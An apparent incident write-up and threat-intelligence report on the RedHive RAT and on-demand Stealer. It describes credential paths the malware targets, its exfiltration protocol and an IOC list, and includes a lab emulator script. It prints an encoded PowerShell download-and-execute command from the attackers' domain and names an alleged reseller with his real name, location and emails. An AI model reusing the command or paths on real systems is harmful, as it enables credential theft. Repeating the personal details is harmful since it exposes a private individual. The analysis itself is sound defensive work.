x = sub.add_parser("exfil-server", help="controlled TCP/1488 laboratory receiver"); add_common(x); x.add_argument("--bind", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--transactions", type=int, default=1); x.add_argument("--auth-split", type=int, default=0); x.add_argument("--auth-delay", type=float, default=0.05); x.add_argument("--exfil-timeout", type=float, default=5.0); x.add_argument("--max-archive", type=int, default=MAX_EXFIL_ARCHIVE)
x = sub.add_parser("exfil-client", help="send a synthetic ZIP to a controlled/private TCP/1488 receiver"); add_common(x); add_profile(x); x.add_argument("--exfil-host", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--entry", action="append", default=[], metavar="NAME=TEXT"); x.add_argument("--entry-bytes", action="append", default=[], metavar="NAME=SIZE"); x.add_argument("--layout", choices=["batch","single"], default="batch"); x.add_argument("--ack-mode", choices=["malware","robust"], default="malware"); x.add_argument("--exfil-timeout", type=float, default=5.0)
x = sub.add_parser("exfil-selftest", help="run all TCP/1488 assertions on loopback only"); add_common(x)
return p
def validate(args):
for name in ("control_port", "task_port", "exfil_port"):
if hasattr(args, name) and not (1 <= getattr(args, name) <= 65535): raise SystemExit(f"--{name.replace('_','-')} must be 1..65535")
if hasattr(args, "max_module_bytes") and not (512 <= args.max_module_bytes <= MAX_MODULE_BYTES): raise SystemExit(f"--max-module-bytes must be 512..{MAX_MODULE_BYTES}")
if hasattr(args, "transactions") and not (1 <= args.transactions <= 64): raise SystemExit("--transactions must be 1..64")
if hasattr(args, "country") and args.country and not re.fullmatch(r"[A-Za-z]{2}", args.country): raise SystemExit("--country must be a two-letter code")
if hasattr(args, "id") and args.id and not re.fullmatch(r"[0-9A-Fa-f]{8}", args.id): raise SystemExit("--id must be exactly 8 hexadecimal characters")
def main():
args = build_parser().parse_args(); validate(args); log = Logger(args.logfile)
try:
if args.command == "delivery": delivery_cycle(args, build_profile(args), log)
elif args.command == "honeypot": run_honeypot(args, build_profile(args), log)
elif args.command == "workflow":
profile = build_profile(args); log.event("INFO", "Starting integrated workflow: delivery -> TCP/406" + (" -> task-triggered TCP/408" if args.capture_modules else ""), module="workflow"); delivery_cycle(args, profile, log); run_honeypot(args, profile, log)
elif args.command == "exfil-server":
if args.dry_run: resolve_controlled_target(args.bind); log.event("DRYRUN", f"Would listen on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
else: run_exfil_server(args, log)
elif args.command == "exfil-client": run_exfil_client(args, build_profile(args), log)
elif args.command == "exfil-selftest": run_exfil_selftest(log)
return 0
except KeyboardInterrupt: log.event("STOP", "Interrupted by user"); return 130
except Exception as exc: log.event("ERROR", f"{type(exc).__name__}: {exc}"); return 1
finally: log.close()
if __name__ == "__main__":
raise SystemExit(main())
From Product Names To Actual Collection Paths
The second module immediately looked different from the first. Its job was not to stay resident and wait for commands. It was packed with application-specific collection routines.
Following those routines beyond the product names led to concrete paths, file reads, database handling, key processing, and archive entries. Browsers were a major target, but the collection surface extended to messaging applications, Steam, game launchers, wallets and browser extensions, VPN and remote-access configuration, screenshots, clipboard contents, host information, and ordinary user files.
The AI-tool branches were particularly relevant to my incident because several AI products had shown suspicious account activity afterward. The Stealer contained dedicated collectors for local Claude Code, Codex, and Gemini data under the current user's profile:
%USERPROFILE%\.claude\settings.json
%USERPROFILE%\.codex\auth.json
%USERPROFILE%\.codex\config.toml
%USERPROFILE%\.gemini\oauth_creds.json
%USERPROFILE%\.gemini\google_accounts.json
The code built those paths, checked the files, read available content, and handed it to the archive logic under application-specific locations such as Applications/Ai/Codex/ and Applications/Ai/Gemini/. The Claude branch was narrower, targeting settings.json, while Codex and Gemini went directly after authentication- and account-related files. In other words, this build did not have to rely entirely on browser cookies to obtain useful AI-tool state. That was a much better fit for the incident than my earlier, generic explanation of “probably browser sessions.” It suggested that AI development tools had become first-class collection targets in their own right.
The browser collectors followed familiar Chromium and Firefox artifacts. Chromium-related paths included Cookies, Login Data, Login Data For Account, Web Data, and Local State, with separate handling for key material. Firefox used its own path and NSS-related processing. The separation between databases and keys mattered. A stolen Login Data database was not automatically a file full of plaintext passwords, but it could still be valuable when the matching key material was available. Likewise, copied cookies and session state could be more immediately useful than a password.
The implementation was not immaculate. Some SQLite copies could miss recent WAL-backed records, parts of the app-bound-key parsing were fairly brittle, and several error paths made the Stealer less reliable than its target list suggested. Those weaknesses mostly affected completeness. They did not change the basic fact that the malware knew where the data lived and attempted to collect it. Messaging and gaming applications fit the same pattern. Telegram had dedicated handling for desktop and web-session material. Steam had token- and cookie-related paths. Discord covered browser and desktop data, including encrypted token material and its corresponding key handling.
The MinecraftGrab branch targeted launcher and client account configuration associated with software such as Intent, Lunar, TLauncher, Feather, and Meteor. The interesting target was not somebody's carefully constructed castle. It was the account state around the launcher.
Wallets and browser extensions were another large target class, joined by VPN clients, FileZilla, AnyDesk, Ngrok, OBS-related data, screenshots, clipboard contents, host information, and a general sweep for common documents and images. The pattern was consistent: find predictable local state, collect what is available, and place it into the same result archive.
Seen together, Stealer was almost too simple a name. There was no single act of “stealing credentials.” There were many smaller collection decisions: copy a database, recover a key, preserve a session, read a configuration file, take a screenshot, or add an ordinary document to the archive.
What The Stealer Was Built To Collect
Before following the data out of the module, it was useful to stop and look at the collection picture as a whole. By this point the Stealer no longer looked like a browser-password grabber with a few extra features. It was a broad collector for reusable access, local application state, and whatever other material might be worth taking from an infected computer.
| Area | Examples identified in the captured module | What the collector was looking for |
|---|---|---|
| AI development tools | Claude Code, Codex, Gemini | Local settings, authentication files, account metadata, and configuration |
| Browsers | Chromium-family profiles and Firefox | Cookies, login databases, web data, browser state, and the key material needed to work with protected records |
| Messaging and social apps | Telegram, Discord | Desktop and web sessions, tokens, and related encryption material |
| Gaming and launchers | Steam, Minecraft launchers and clients, other game-platform state | Tokens, cookies, launcher identities, and reusable account configuration |
| Wallets and browser extensions | Desktop wallets, crypto extensions, MFA and password-manager extensions | Locally accessible wallet or extension data that could represent credentials, keys, or account access |
| VPN, remote access, and transfer tools | VPN clients, AnyDesk, FileZilla, Ngrok | Configuration and connection material that could expose another route into the victim's environment |
| User and host data | Screenshots, clipboard contents, documents, images, OBS-related data, system information | Context, secrets, files, and host metadata that did not belong to a single application |
The Familiar Third Port
Once the collectors converged on a shared ZIP archive, the next question was where that archive went. The answer was another connection to the same C2 host:
145.63.134[.]94:1488
The Stealer passed that address and service into getaddrinfo, opened a TCP connection, identified the victim, waited for auth_ok, and then sent the ZIP as a length-prefixed buffer. The wire format was almost disarmingly simple:
connect
→ stealer;<host-id>\n
← auth_ok
→ 8-byte big-endian ZIP length
→ complete ZIP buffer
→ close
It was one result bundle rather than a separate request for each stolen file. After the send path, the Stealer cleaned up and exited. The resident implant remained the long-lived part of the operation; this module arrived for a job, collected its data, returned the result, and disappeared.
At that point the three ports described three very different jobs: 406 for control, 408 for module delivery, and 1488 for the Stealer's results.
When An OSINT Clue Reappeared Inside The Malware
And then there was the port number itself.
1488.
I had already spent a large part of the OSINT investigation following the unusually distinctive handle:
gitlerzov1488gitler
Now the same number had appeared inside the Stealer's own upload path. One clue had come from public infrastructure and persona research; the other came from a separately captured malware component. For the first time, something from the OSINT side of the investigation had reappeared inside the malware implementation itself.
The overlap was not proof on its own, but it was difficult to dismiss as just another decorative similarity. Combined with the earlier domain, email, repository, and handle pivots, it pulled the two halves of the investigation noticeably closer together.
There was a smaller echo in Minecraft as well. The public persona had Minecraft-related content, while the Stealer explicitly collected Minecraft launcher and client account state. Minecraft by itself is far too common to identify anyone, but in this context it became another point where the public persona and the malware's target selection happened to intersect.
What The Second Pass Changed
The first-round analysis had done what I needed during the incident: identify the foothold, persistence, C2, and the host artifacts that mattered for containment. The later module capture filled in the part that had always felt strangely absent.
The C2 could deliver a Stealer on demand. The Stealer linked back to the resident implant through its mutex logic, collected application and session data, assembled the results into a ZIP, and sent that archive through its own channel.
The architecture it exposed explained why the first executable had looked like a capable RAT without containing the full information-theft logic I expected to find. By then, the incident no longer looked like “a RAT that also stole some things.” It looked like a modular workflow: persistent access, tasking, capability delivery, collection, and result upload were separate pieces that could be combined as needed.
Daniel, You Are Just A Consumer, Right?
Part One already introduced the strangest piece of the Steam aftermath. An unfamiliar user named 661SAVAGEEE had been added as my friend and joined my Steam Family Sharing. I did not notice the relationship when I first rotated my credentials. The account later used my ARC Raiders access, cheated, and was banned; because my account owned the game, the enforcement reached me as well. My Embark display name had also been changed to 661SAVAGE.
I had spent the cleanup thinking about persistence everywhere else: Gmail permissions, trusted devices, OAuth grants, GitHub PATs and SSH keys, active sessions, recovery methods. Steam was almost the only service where I failed to ask the equivalent question. I got caught by exactly that omission. lol
That was the important part. The person using the access did not need the RAT to remain on my computer. The malware only needed enough time to steal or create something reusable on the service side. Once the Family Sharing relationship existed, the later abuse could continue independently of the host.
When I first saw the unexpected Steam friend, my immediate reaction was simple: perhaps this was one of the operators. That interpretation did not survive very long.
661SAVAGEEE looked new and disposable, exactly the sort of account I would expect someone to burn while abusing somebody else's game access. The more interesting clue was the Embark name change. Whoever had used my account had voluntarily replaced my display name with 661SAVAGE. It gave me a confirmed handle variation from inside the incident itself, so I no longer had to guess or manually generate permutations. And unlike 661SAVAGEEE, 661SAVAGE produced plenty of matches across the Internet.
A Steam profile at 76561198769671376 appeared to be the main account associated with that persona. It used the 661SAVAGE name and had a game ban on Aug 12th, which is close to the incident period. Its friend list was tiny, only three accounts when I checked, and two of them, dnovoa1997 and ITzSavage510.ttv, also had game-ban histories.
It is worth noting that both 661SAVAGE and dnovoa1997 received their bans on the same day. I find it very hard to believe that this was purely a coincidence. Even though the accounts in this small friend group shared quite a few similarities, I would not assume they were all sockpuppet accounts belonging to 661SAVAGE. A much simpler explanation is also possible: cheaters tend to play with other cheaters, lol.
The broader 661SAVAGE persona was much more consistent. I found the same branding across Steam, streaming profiles, and TikTok, all pointing toward a shooter-focused gaming identity. This was not a particularly challenging OSINT challenge; once I had the shorter handle, the persona had left plenty of clues.
The TikTok profile added something new. The display name was 661SAVAGE, but the actual account handle was danieln979. At that point my working model was still fairly mundane: 661SAVAGE was probably a downstream consumer of stolen or otherwise illegitimate gaming access. The disposable account, the cheating activities, the poor OPSEC, all make sense.
Then I found the store. The clue was literally newer than the draft of this article. At 661savage.store, the same branding had become a storefront. One product page was unusually specific:
The product was being sold at 661savage.store/product.html?id=NFA%20ACCOUNTS. That changed the role assessment immediately. A person who merely receives one compromised account and uses it to cheat looks like a consumer. A person operating a storefront that sells cheap ARC Raiders NFA accounts belongs much closer to the resale layer of the same economy. Whatever the exact source of every account in the inventory, this was account distribution, not ordinary consumption.
And the overlap with my incident was almost comically specific:
My computer is infected
↓
My Steam access is compromised
↓
661SAVAGEEE is added to Family Sharing
↓
ARC Raiders is abused and banned
↓
My Embark name is changed to 661SAVAGE
↓
661SAVAGE storefront sells $2 ARC Raiders NFA accounts
The consumer hypothesis no longer fit very well. A more plausible role was a small reseller or dealer, possibly someone who also used or tested the same kind of inventory he sold. At this scale, “consumer” and “seller” do not have to be separate people. An operator can easily be both.
The storefront made the persona more interesting, so I went back through the social traces with a different question. I was no longer asking only who uses the name 661SAVAGE? I wanted to know whether the handle leaked anything more personal.
It did. I found two TikTok accounts using the same display name and avatar pattern:
661SAVAGE → @danieln979
661SAVAGE → @danielnovoa82
The second handle, danielnovoa82, was especially useful because it exposed a surname-shaped token: Novoa.
Then I compared the two TikTok handles with one account from 661SAVAGE's tiny Steam friend list:
Tiktok Handle: danieln979
Tiktok Handle: danielnovoa82
Steam Profile: dnovoa1997
Now the repeated clue was difficult to miss. dnovoa1997 was not a random result from username enumeration; it was directly connected to the 661SAVAGE Steam profile as one of only three friends. Piecing those handles together produced an obvious identity lead:
Daniel Novoa.
I pretended to be a buyer interested in his store and joined his Discord server. That gave me a chance to inspect his Discord profile card, which revealed additional information and helped cross-check several of my earlier assumptions.
The detailed Discord profile card disclosed two additional profiles: his PSN profile and a Steam username, danielnovoa440848.
That made Daniel Novoa a much more plausible candidate for his real name. More importantly, danielnovoa440848 mapped directly back to the same Steam account using the 661SAVAGE nickname.
The 661SAVAGE handle itself offered one more clue. 661 is a California area code, and the 661SAVAGE Steam profile also listed its location as California. Either field could have been fake, but by this point the persona had already shown a consistent pattern of poor privacy awareness and weak OPSEC. He was even arrogant enough to replace my Embark display name with his own universal handle. From an OPSEC perspective, that was almost comically bad.
The same pattern appeared elsewhere. He reused avatars and names across multiple services, while the storefront operated under the same branding. Taken together, the persona was not exactly difficult to follow once I knew what to look for.
Searching the emerging Daniel Novoa + California + 661 combination produced a very close public-record candidate in the Bakersfield area. The location fit the 661 region, and the age fit the 1997 clue from dnovoa1997. A cached search result still showed the person as 28 while the current record showed 29, suggesting a recent birthday as well.
Eventually, I purchased the report, and more info revealed, which completely confirmed my theory:
Bomb, all is clear, especially the email dnovoa1997@gmail.com and danielnovoa440848@gmail.com, are consistent with 2 of his Steam account! And the mobile number is associated with Steam account 661savageeeeeeeeeee.
Consumer, Dealer, Or Both?
The store changed the most important conclusion. When I began this branch, I thought I was looking at somebody near the very end of the chain: a cheater who had somehow obtained my Steam access and happily burned it.
Later, he sent me a friend request and asked whether I needed NFA. I immediately realized that this was an opportunity I could not afford to miss. I happily replied, and then he simply sent me an executable file!
I have to admit, my hands were shaking a little. I downloaded the sample, submitted it to VirusTotal, and immediately started analyzing it myself. The result gave me mixed feelings. It was not another RAT or backdoor, and it did not turn out to be the original infostealer either. Instead, the executable was essentially a Steam token import and login-cache tool. It accepted externally supplied Steam access credentials, parsed the token and SteamID, stopped Steam, wrote the corresponding local login state, and then launched Steam again. In practice, it allowed supplied Steam sessions to be imported and reused on another machine.
So it was not quite the jackpot I had briefly hoped for. But in another sense, it was more useful than expected.
Before this, I had been inferring his role mostly from storefront behavior, reused identities, gaming accounts, and the way my own Steam access had been abused. Now he had personally handed me a tool built around consuming and reusing Steam access. That moved him from “probably a downstream reseller or account dealer” to someone I could much more confidently place inside that part of the economy.
He still appeared to be downstream from the technical core of the malware operation. I had no direct bridge tying him to the GitHub infrastructure, C2 servers, domain registrations, or malware development. But by this point, “downstream” clearly did not mean “uninvolved.”, let alone the info stealer group is located in Russia. He is collaborating with an adversary of the US, it is not a joke.
The original operators did not need to personally log into every account they stole. Once credentials, tokens, and authenticated sessions became inventory, other people could package them, resell them, import them, test them, cheat with them, or simply burn them for a few dollars at a time. And now I had been handed one of the tools that made that possible.
Threat Modeling Their Infrastructure and Operations
By this point, the incident was no longer about a single compromise. The picture had become much larger.
I had started with one malicious GitHub repository and one compromised computer. The trail had expanded into fake social proof, recurring promotion accounts, disposable repository fronts, staging infrastructure, a persistent RAT, an on-demand Stealer, stolen authentication material, and finally a downstream market where gaming accounts could be treated as cheap inventory.
With a much broader understanding of the cybercrime group's infrastructure and operations, I could not help thinking about the whole thing from a threat-modeling perspective. I did not need to hack back. There was already plenty I could do within legitimate boundaries to cause them trouble, disrupt parts of their operation, and make their lives more difficult.
They Can Be Victims Too
The synthetic victim had already revealed something interesting about the control plane: it trusted a fair amount of client-supplied identity and host information. Somewhere on the operator side, at least some of those values had to be stored, searched, or displayed. Naturally, that made me wonder how much they trusted their victims.
If this were an authorized operation, one of my first questions would be what happened when attacker-controlled content crossed that boundary and eventually reached the operator interface. Hostnames, usernames, process information, task results, and other victim metadata may look harmless when they come from a normal infected machine. From a red-team perspective, however, every field supplied by an untrusted client is an input surface.
The tasking protocol raised similar questions. Victim identifiers and task identifiers were ordinary application objects, which immediately made authorization and cross-client isolation interesting. Could one client reference objects belonging to another? How strongly was ownership enforced? Were those identifiers treated as secrets, or merely as database keys?
Then there was the Stealer upload path. Port 1488 accepted an archive created by a completely untrusted endpoint and passed it into whatever storage and processing pipeline existed behind the service. Archive parsing, decompression, file naming, storage quotas, and later operator-side handling all introduced additional trust boundaries. If I were targeting this environment with authorization, that entire pipeline would deserve attention.
The operator interface itself could be even more interesting. For example, Electron is quite popular for desktop management clients, including offensive-security tooling and C2 front ends. Unlike a normal browser, an Electron application can potentially expose privileged desktop functionality to its renderer. Under a poorly designed one, an injection issue may become much more serious, especially if privileged APIs, unsafe preload bridges, or Node.js capabilities are exposed to the renderer. In the worst case, what begins as malicious victim-controlled text being rendered inside a management console could become code execution on the operator's own computer. That would be an ironic way for a C2 infrastructure to collapse: not because somebody attacked the implant, but because the implant sent something back that the operator's own interface trusted too much.
The public infrastructure added another layer. The staging and C2 servers return verbose response when users interacting with exposed services such as Windows RPC. They were useful for fingerprinting, and every unnecessary service also represented another piece of software, configuration, and authentication surface that could go wrong.
Attackers are not exempt from having an attack surface.
The uneven code quality reinforced that impression. The native loader was substantially more polished than parts of the PowerShell staging logic. The Stealer combined carefully implemented collectors with brittle parsing and network assumptions. The GitHub operation demonstrated scale, but also automation patterns and weak OPSEC. It did not look like one perfectly engineered platform. It looked more like a collection of components, operators, and infrastructure of varying quality, which is probably a much more realistic picture of a cybercrime operation anyway.
Once I stopped viewing the operation as a single piece of malware and started viewing it as a system, its own trust boundaries became much easier to see.
| Area | Potential Attack Surface | Methodology | Possible Impacts |
|---|---|---|---|
| Victim metadata | Client-supplied hostnames, usernames, and other fields | Input handling, output encoding, storage, and rendering inside the operator interface | Stored injection or compromise of the management interface |
| Electron-based operator client | Potentially privileged desktop renderer | Isolation between untrusted content and privileged Electron/Node functionality | XSS escalating far beyond an ordinary browser issue, potentially to operator-side code execution |
| Tasking API | Victim IDs and task IDs used as application objects | Object ownership, authorization boundaries, and cross-client isolation | Access to or manipulation of another victim's tasks |
| Stealer upload | Hostile endpoints upload archives to port 1488 | Archive parsing, file handling, decompression, naming, quotas, and downstream processing | Parser failures, unsafe file handling, resource exhaustion, or compromise of backend processing |
| Internet-facing services | Multiple exposed services across the infrastructure | Authentication, patch level, unnecessary exposure, and configuration quality | Additional entry points into their own servers |
| GitHub operation | Repeated naming, promotion, fork, and repository patterns | Infrastructure mapping and account clustering | Faster identification and large-scale platform takedowns |
| Domains and hosting | Reused infrastructure and operational relationships | Provider attribution, abuse reporting, and infrastructure correlation | Domain suspension, hosting disruption, and loss of reusable infrastructure |
| Downstream account market | Public storefronts, Discord communities, and reused identities | Evidence preservation and reporting to affected platforms | Removal of sales channels and increased cost of monetizing stolen access |
| Operational OPSEC | Reused handles, avatars, infrastructure, and naming conventions | Correlation across otherwise separate parts of the operation | Attribution of infrastructure and personas that were intended to remain separated |
Not all of these paths require exploitation to hurt their operation. In some cases, the most effective response is much more boring: preserve the evidence, correlate the infrastructure, report the accounts, notify the providers, publish the indicators, and make every disposable asset they created more expensive to replace.
Making the Disposable Parts Less Disposable
Threat modeling their infrastructure was interesting, and under an authorized operation there were plenty of places I would have wanted to look. But in the real world, the most useful counteroffensive available to me was much less exciting than finding an RCE in the attacker's panel. I could preserve the relationships they had left behind.
A single malicious repository URL is disposable. Delete the repository and the link becomes a 404. But the repository itself had relationships: accounts that starred it, forks that preserved its history, other repositories promoted by the same cohort, repeated construction patterns, domains, infrastructure, and eventually malware tied back to the same operation. Deleting one page does not erase the graph around it. That changed how I thought about abuse reporting. Instead of reporting one obviously malicious repository and waiting for it to disappear, I could provide the surrounding cluster: repository relationships, account relationships, commit history, repeated lure patterns, infrastructure, and multiple branches that independently led back to confirmed malicious behavior.
The same principle applied downstream. A disposable Steam account such as 661SAVAGEEE was not particularly interesting by itself. But that account led to the persistent 661SAVAGE persona, then to a storefront selling NFA accounts, a Discord community, reused gaming identities, real-world identity evidence, and eventually a Steam access tool handed to me directly by the reseller himself. What initially looked like one cheater happily burning somebody else's game access had turned into a view of part of the resale economy behind stolen authentication material.
Preserve the evidence, connect the relationships, expose the infrastructure, report the clusters rather than isolated artifacts. Make the disposable parts of the operation less disposable.
From One Repository To An Ecosystem
By the end, the path I had followed looked roughly like this:
Malicious GitHub lure
↓
promotion / fork / boosting network
↓
staging infrastructure
↓
persistent RAT and tasking
↓
on-demand Stealer module
↓
credentials, sessions, application state
↓
downstream account access
↓
reseller / storefront
↓
access import and reuse
↓
end use, abuse, and bans
What started as one malicious GitHub repository had expanded into a much broader picture: disposable identities, promotion infrastructure, staging servers, malware components, stolen authentication material, resale channels, and finally tooling used to consume that access. Part One was mostly about getting the attacker off my machine.
Part Two was about following everything that remained after that. The repository became a network. The infrastructure became a cluster. The RAT became part of a modular system. The missing theft capability eventually appeared as a separate Stealer. The account abuse led to 661SAVAGE, then to a storefront, Discord community, reused identities, and finally a Steam access tool handed to me directly. That last sample was especially useful, it provided a much more concrete look at the downstream side of the ecosystem: stolen or externally supplied Steam access being imported and reused as a product. By that point, the incident no longer looked like one attacker compromising one computer. It looked like a chain of loosely connected components and people, each responsible for a different part of the process.
I still do not have every person, every server, or every transaction in that chain. But I no longer needed every missing piece to understand what I had been dealing with. I started with one compromised computer and one malicious GitHub repository. I ended up mapping parts of an ecosystem. I would still rather have learned all of this from somebody else's case study, but if the incident was going to happen anyway, I wanted the evidence to outlive the embarrassment.
Appendix: Indicators of Compromise & Investigation Pivots
Core RedHive Infrastructure
| Type | Indicator | Role / Context |
|---|---|---|
| IPv4 | 192.162.199[.]184 |
Payload delivery / staging infrastructure |
| IPv4 | 145.63.134[.]94 |
RAT C2, module delivery and Stealer exfiltration |
| Domain | shells[.]su |
PowerShell delivery, payload staging, screenshot collection |
| Domain | gitbase[.]su |
Parallel malicious GitHub delivery infrastructure |
| Historical domain | verificator[.]cc |
Earlier infrastructure associated with 192.162.199[.]184 |
| Historical domain | genesis-hub[.]cc |
Earlier infrastructure associated with the same hosting cluster |
RedHive Malware Samples
| Sample | Type / Role | Hashes / Indicators |
|---|---|---|
1.exe |
Initial x64 RAT / persistent loader | SHA-256 97c6e8a58c8ca86af979fa64a516a09cdc48c6dd61fc9dd027c4af715165fb66 |
RuntimeBroker.exe |
Byte-identical persistence copy of 1.exe |
Same SHA-256 as 1.exe |
Stealer 1.0.2 |
On-demand x64 Stealer DLL delivered by the RAT |
SHA-256 `9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32 |
Delivery URLs / Paths
hxxps://shells[.]su/encrypted/api.ps1
hxxps://shells[.]su/encrypted/1.zip
hxxps://shells[.]su/encrypted/7za.exe
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
/powershell/Genesis.ps1
Network / Protocol indicators
145.63.134[.]94:406 WebSocket control channel
145.63.134[.]94:408 HTTP task / module delivery
145.63.134[.]94:1488 RedHive Stealer result upload
Observed C2 strings
ready;
getinfo
ping
pong
task
createtask
closetask
task_id;
task_done;
update
Stealer-Specific Protocol Markers
stealer;
auth_ok
Observed Task Delivery
GET 145.63.134[.]94:408/task/Stealer
Stealer / 1.0.2
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Host Persistence
Payload path:
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
Scheduled tasks:
\Microsoft\Location\MicrosoftUpdaterMachineCore
\Microsoft\Windows\EDP\ScheduledDef
\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins
Registry configuration:
HKCU\Software\Microsoft\Event
Value: System
Mutexes:
Global\RuntimeBrokerAds
Global\StealerLib
PowerShell Delivery Fingerprint
Custom UA:
aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs
Malicious GitHub Repository Pivots
MillipedeLoad/Adobe-Acrobat-Pro
GulfMouseVice/crypto-miner-gpu-cpu-hashrate
Binaryunenhance/instagram-liker-bot-auto-like-software-download
HyperIllusionistTap/Whale-Tracker-Analytics
Infrastructure-Registration
krassavchik13370@gmail[.]com
↳ observed registration contact for shells[.]su
gitlerzov1488gitler@gmail[.]com
↳ reported contact associated with gitbase[.]su
gitlerzov1488gitler-cmd
↳ historical GitHub owner
gitlerzov1488gitler-cmd/RUST-2026-A-I-M
661SAVAGE Downstream Ecosystem Pivots
Primary persona:
661SAVAGE
661SAVAGEEE
Cross-platform handles:
danieln979
danielnovoa82
dnovoa1997
danielnovoa440848
savage2135
TTV-661SAVAGE
Infrastructure / profiles:
661savage[.]store
steamcommunity.com/profiles/76561198769671376
psnprofiles.com/.../TTV-661SAVAGE
tiktok.com/@danieln979
tiktok.com/@danielnovoa82
twitch.tv/661savage
discord.gg/zznvhmhRDC
Downstream Access-Enablement Tooling
Filename:
archievable-v0.3.0-setup.exe
Installer SHA-256:
9cf38614bb4cac3f3e80d480ff94e4b02bfe6f8672a95f765a44d0ee5d4475d7
Extracted archievable.exe SHA-256:
55b5c2bd34ec14f6a16850526d6e7649ce0218fa6c9fcd1663bcf9880d16d42e
Application ID:
shop.archievable.desktop
Account store:
%APPDATA%\shop.archievable.desktop\accounts.json
Reference
Previous Threat Intelligence:
https://forum.kasperskyclub.ru/topic/472004-virus-updaterexe
https://phishdestroy.io/domain/verificator.cc/
https://gridinsoft.com/online-virus-scanner/url/verificator-cc
https://phishdestroy.io/domain/genesis-hub.cc/
https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc
https://www.shodan.io/host/192.162.199.184
https://www.shodan.io/host/145.63.134.94
https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/
Relevant Social Media Profile
https://steamcommunity.com/profiles/76561198769671376
https://steamcommunity.com/profiles/76561198665194900
https://psnprofiles.com/trophies/24888-ark-survival-ascended/TTV-661SAVAGE
https://www.tiktok.com/@danieln979
https://www.tiktok.com/@danielnovoa82
https://www.twitch.tv/661savage
https://www.spokeo.com/Daniel-Novoa/California/Bakersfield/p7770855703706138216526571
https://www.tiktok.com/@gitlerzov1488
Alive Repositories At the Time of Writing
https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download
https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro
https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate
你敢入侵我电脑?看我扒光你老底
// English version: https://winslow1984.com/books/threat-intelligence/page/hey-you-hacked-a-hacker-are-you-ready-for-my-revenge
作为一名进攻性安全从业者,我自然更关注攻击技术,自然过去写的大多数文章也都围绕红队、安全研究和其他进攻性安全话题展开。而这篇文章对我来说有些特别:这一次,我不是发起攻击的人,我是受害者。
不得不承认,因为执行了一段恶意脚本,导致自己的个人电脑被攻陷,多少还是有点丢人的,而且这次事件也给我带来了不小的麻烦。但与此同时,这也成了我职业生涯中一次难忘而宝贵的教训。更有意思的是,我的进攻性安全背景在这次事件里既给了我帮助,也给我留下了盲区。
因为平时始终以攻击者角度思考问题,我对这种攻击者思维相当熟悉。根据观察到的代码质量、OPSEC、工程成熟度以及其他操作习惯,我可以对威胁行为者做一个初步画像,据此决定先调查哪些方向,而不是把所有可能的 TTP 都当成同等概率。这个直觉确实帮助我很快定位到了载荷和持久化,并在相对较短的时间内切断了他们对主机的访问。
但同样的思维方式,也制造了我的盲区。作为红队人员,我习惯于追逐最终目标:皇冠上的明珠、特权访问,或者任何代表一次行动最终目标的东西。但真实的威胁行为者不一定这样想。几乎任何战利品,都可能对某个人有价值,或者可以拿去交易。他们不需要摸到“皇冠上的明珠”,这次入侵就已经可以赚钱。入侵本身可以已经算成功,过程中偷走的某一份数据,也可以单独算成功。
第一部分聚焦于这次事件本身:最初的入侵、第一轮恶意软件分析、持久化排查、切断主机级访问,以及这个盲区后来带来的后果。
当然,说到底我还是个红队,我可不想当太久的受害者。第二部分,就是我的“复仇”开始的地方。我没有入侵回去,即使我是受害者,毕竟也没有授权,但这并不意味着我必须停止调查,还有很多别的办法,可以让这场行动背后的人更难受一些:把更大的信息窃取的网络扒出来,追踪其基础设施和公开身份,并最终锁定一个尤其有意思、看起来确实属于这套经济链条中的个体。
故事始于一个我以为安全的“安全屋”:GitHub 仓库
当时我在找一款可以读取和编辑 PDF 的开源替代软件,然后遇到了一个乍一看正常的 GitHub 仓库。它有还算不错的 Star 和 Fork 数,README 也很简洁,只给了一条一行式安装命令,正好满足大多数用户最想要的东西:尽量少的配置,直接运行。
尽管恶意 GitHub 仓库活动早就不是什么新鲜事,但 GitHub 总体上仍然是一个可信的平台。我当时也没多想,就把那条 one-liner 跑了…… 安装似乎需要一点时间。等待期间,我又回头更仔细地看了一遍 README。这时,几个信号一下变得非常明显:
- README 跟 PDF 软件压根没有关系。
- 安装命令引用的外部域名看起来很奇怪。
- 仓库虽然有不少 Star 和 Fork,但账号本身却非常新。
我立刻中断了安装。那一刻我知道,已经晚了,肯定已经有一部分代码执行过。但即便如此,停掉脚本仍然有价值,至少可以阻止那些还没来得及完成的动作。从那一刻开始,我必须和时间赛跑。而这条 PowerShell one-liner,就成了我最先想追下去的线索。
第一阶段:PowerShell 投递
安装命令通过 Invoke-Expression 拉取并执行了一段远程 PowerShell 脚本。第一阶段脚本相对很短:它指定 TLS 1.2,然后使用 FromBase64String 和 UTF-8 解码一段 Base64 字符串,再把结果继续传下去。
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"
$decodedCommand =
[System.Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String($encodedCommand)
)
解码 Base64 后得到:
